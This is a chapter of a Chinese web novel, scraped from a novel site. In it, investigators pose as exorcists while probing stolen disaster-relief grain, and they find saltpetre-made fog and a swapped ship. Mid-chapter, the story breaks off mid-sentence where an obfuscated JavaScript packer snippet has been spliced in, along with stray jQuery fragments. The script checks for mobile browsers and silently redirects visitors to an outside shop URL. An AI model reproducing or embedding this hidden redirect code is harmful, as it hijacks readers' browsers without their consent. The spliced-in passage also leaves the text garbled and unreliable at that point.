文趣网 > 都市小说 > 穿成假判官之后 > 4. 赈灾案二
    沈令仪和萧晏并凌朔三人,翌日清晨就悄悄出发戏口。

    想到昨夜的刺杀,三人意见十分一致地选择了低调行事。至于吴常的请求,萧晏在思考后还是让他待在廷尉府吧。毕竟...萧晏默默看了一眼沈令仪和凌朔,这里最能打的只有一个凌朔,还是不要随便给他拖后腿了。

    轻舟破开一线薄霭,缓缓驶入江岸深处。恰在此刻,旭日破云而出,天光乍泄,万顷江面尽数铺金。

    沈令仪立在船头,晨风将衣袂缓缓扬起,金线一般的日光笼住她周身轮廓,连发丝都泛着光。萧晏不经意扫了一眼,倒觉得她带了点神性,昨晚也不全然都是骗人。

    方才开阔的主江面骤然收窄,数道隐秘江汊交错盘绕,潮水退去后露出连片平缓浅滩,淤泥之上留有舟船碾轧的纹路。萧晏刚想停船靠岸,沈令仪先一步开口,“殿下,能否绕道停船?”

    萧晏不知何意:“这是官家渡口。”

    “正因为是官家渡口,昨日我兄长肯定也是停在这里的。”见萧晏还是没有反应过来,她耐心解释:“停船必定会留有痕迹,我们还是不要贸然靠岸,避免损坏。”

    凌朔靠谱地将船停在私家渡口,老汉见来了生意,忙不迭地迎上来:“不知客官要停多久?”

    萧晏随口说道:“先停个一天吧。”老汉倒是惊讶,戏口并没有什么好逛的,疑惑脱口而出:“公子是来办事?”

    萧晏顺着他话说下去:“对呀,这不是听说昨天这里一船官粮不翼而飞了么。来看看。”

    老汉提起此节就不打一处来:“有什么不翼而飞的,还不是沈府自己偷的!来了好些人将东西搬到自己船上了。”

    “你怎知是沈府的人?”沈令仪着实不解,沈府人她自己都没认全,怎么外面是个人都比她更了解沈府。

    “大家都这么说,”老汉回忆道,“昨日押粮的将士们给我讲的,说押船的是沈家公子,觉得能贪粮食才来的。结果半路觉得没趣儿便走了。又不好意思空手,这不,找了个借口。”

    “那剩下的士兵呢?”萧晏好奇道。

    “回家了吧。我也没看到。”老汉接过凌朔递给他的钱,继续打听他们的事:“你们是来查案子的?”

    萧晏此人最大的好处就是该装傻的时候就开智了,鬼精鬼精的:“查案与我等有何关系。实不相瞒,我们是来捉鬼的!”

    沈令仪不明白他葫芦里卖的什么药,更不明白为什么凌朔这样一个冷面男都隐藏不住笑意地看着自己。

    “捉鬼?”

    “嗯呐!”萧晏说的神乎其神,“您想啊,一大船的东西,一晚上给搬完了。而且还没有人吱声。这可是赈灾粮!除了遇见鬼了,还能有什么说法?”他这番话拿捏得恰到好处,老汉更愿意相信他的说辞:“公子说的有道理啊。”

    萧晏乘胜追击,指着沈令仪:“这位姑娘可了不得。武昌城内大小庙宇都与她十分结缘。回回她去请点什么符,那保管是灵验无比。”萧晏一副自己没有这种能力的痛心疾首,“她若是能为咱们这的人瞧上一眼,就知道有没有小鬼缠上了。”凌朔十分乖觉地从船舱内拿出一套道士服,作为有力证据展示。

    老汉此时已经深信不疑:“当真?那...那得多少钱?”

    萧晏一副犹犹豫豫的模样:“这...实不相瞒,我们平时里都是被武昌城内的人家请上门做法祈福的。不过今日既然有鬼神作祟,也算是我们自发为柴桑民众们祈福了。不收钱了!”他倒是说得痛心疾首,还不忘转身:“您快去叫人来吧!不然我可要反悔了!”

    老汉嘴上答应着:“好、好,我马上就把我家里人给叫来看看。”

    沈令仪不可置信地看着萧晏,又好气又好笑,后者听得老汉走远了之后才转过来,脸上憋不住笑意。

    “我等会要是不显灵呢?”比起萧晏的突发奇想她更关心等会的事情到底要如何收场。

    凌朔把衣服和符纸给她:“殿下已经帮你准备好了。你换上衣服,问一下他们昨夜、前夜的情况,然后给他们喝一碗符水就好了。”

    萧晏笑嘻嘻地指着符纸:“和你的符纸一样,是甜的。你要是想喝也可以自己喝。”他丝毫没有把沈令仪卖了的不好意思:“昨晚你这招我觉得用在这里正好。”

    沈令仪无可奈何地接过来:“正经调查的话,他们也不会撒谎吧。”

    萧晏摇头:“人只有在神面前,才不会撒谎。”

    沈令仪就地在老汉的这处私人码头上支起了摊,一传十十传百,小村落的人基本都来了,不愿来的在听说符水是甘泉的也来了。

    为了显得逼真,沈令仪还是拿出昨夜自己的符·糯米纸·纸,演了一出请神上身的戏码。

    “...神明,请您看看,我儿这高热何时能好?”一名妇人抱着孩子,面色哀愁。

    沈令仪飞了一记眼刀给萧晏,她又不会看病!

    萧晏此时倒是难得的稳重,“我来看看。”

    他把过脉后,在符纸背后写下药方:“孩子体虚,所以恢复得慢些。再加上药苦,他喝一半吐一半,所以就好得慢些——对了,他是何时发的热?”

    “前日午后。前日早晨下了一场大雨,他受凉才发的热。”说起孩子的病情,她满脸担忧:“烧了三日,我怕他以后留下病根。”

    沈令仪塞了一沓符纸给她:“不会的,相信有这位神医,很快就会好的。”

    妇人连连道谢,拿起药方就往回赶。

    等到看完所有人,沈令仪伸了个懒腰,将衣服脱下给凌朔回去放好。

    “有什么发现吗?”

    萧晏点头,“那雨有问题。”

    “什么问题?”

    凌朔开口解释道:“在军中,老兵们说过,若是天久晴无雨,才会骤然起大雾弥漫。此时正好诱敌——”还没说完萧晏就打断他:“阿朔,后面的就不用说了。”

    沈令仪抓住了重点:“所以说,前日夜里的那场大雾,是人为的?”

    “那走吧,去码头看看。”

    凌朔俯身蹲在滩岸,指尖抚过青石板上两道紧挨的水渍,又拨开临水芦苇,望见整片苇秆尽数倒向幽深岔江,指尖捻起草根里一缕灰白麻絮,抬眼望看着二人:“此处绝非只停过一艘船。”

    低头正查看的沈令仪有了新发现:“你们看这个石头!”她期待地看着凌朔,期望他能看出什么不同。但凌朔的缄默让她没有找到分

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915310|213297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    享的喜悦:“这个石头上水位线不对。你们看,这里有两条线。一条高,说明船轻,一条低,说明船重。可是这里没有停其他的船,而且这两条水位线如此清晰,必定是昨日才留下的。”

    萧晏总结了一下他们的发言:“也就是说,昨夜有人造了大雾,运了船来搬走粮食。而官船上的人,都不知道。”

    想到昨天苟山忽然改口,沈令仪大胆猜测:“也有可能有人被买通了。昨晚苟山正想说背后有人,结果...”

    结果就被结果了。

    凌朔没有加入他们的对话,继续探勘着滩涂的情况。终于在一小块土堆旁找到了。

    一小撮淡淡的白霜细颗粒散落在草根中。凌朔捻起,寒意从指尖直透指腹。为了进一步确定,他又尝了尝味道,咸苦冰凉。

    “是硝石。”

    萧晏了然,“硝石遇水变冷,可生大雾。再去船上看看有没有什么其他的线索吧。”

    守船的士兵也被萧晏鬼神之说的借口唬得一愣一愣的,萧晏趁机递上钱财,而后道:“都是为百姓做事。我等早日驱邪,小哥你的事情也就少了一件不是。”

    沈令仪发自内心地觉得这个人很适合当一个神棍,当什么皇子啊。

    船上血迹斑驳,刀砍斧劈的痕迹还刻在船舷上,想来事发突然,只是仓促间收好了尸,没来得及将整座船彻查。

    最先发出疑惑的萧晏。

    “不对啊,这不是我的船。”

    沈令仪和凌朔齐刷刷地看着他,不知何意。

    萧晏登上楼船,指着一根柱子:“这根木头我都说了要用楠木,亲自盯着他们做的。怎么现下是杉木了?”

    应是有人决斗至此,一道痕迹暴露了木头之下的纹理。表层薄薄楠木皮已经磕裂,底下露出浅淡松软的杉木纹理。

    见他们还是不明白,这才想起来将前因讲出来:“此次地动突发,沈叡又赶时间,我便将刚做好的船借给他了。这船可是我亲自盯着做的,就为了父皇生辰时献给他——”

    凌朔一个飞身,便如瞬移般站到了萧晏的旁边,仔细观察,确认了硝烟的说法。

    “所以这根本就不是赈灾船,有人把船给换了。”沈令仪三步并两步地跑上去,虽然她看不懂纹理,但不妨碍凑近点看热闹。

    凌朔拿出随身携带的长刀,刮开其他几处,也发现是杉木。

    作为皇子亲自督造,想要呈给皇上邀功的船只,自然是极尽豪奢才是,怎么可能用杉木代替楠木。

    岸上的兵士却忽然叫住他们:“哎,那人好像是来找你们的。”

    沈令仪闻言回头,向他指的方向看去,耀眼的光芒让她不得不微眯了眯眼,只看见一叶小舟载着几人前来,为首的人似乎少了一条胳膊。

    萧晏也同样发出了疑惑:“谁让吴常来的?”

    吴常等人匆忙赶来,沈坤寸步不离地跟着吴常,但并不妨碍吴常积极热情地向萧晏打招呼:“廷尉大人!小人只知道粮食真的很重要,但也不愿冤枉好人。昨日您身边姑娘来对我讲了一些话,我也想为沈校尉的洗冤出一把力。”

    看守的小兵此刻连忙行礼:“见过廷尉!”

    萧晏叫苦不迭。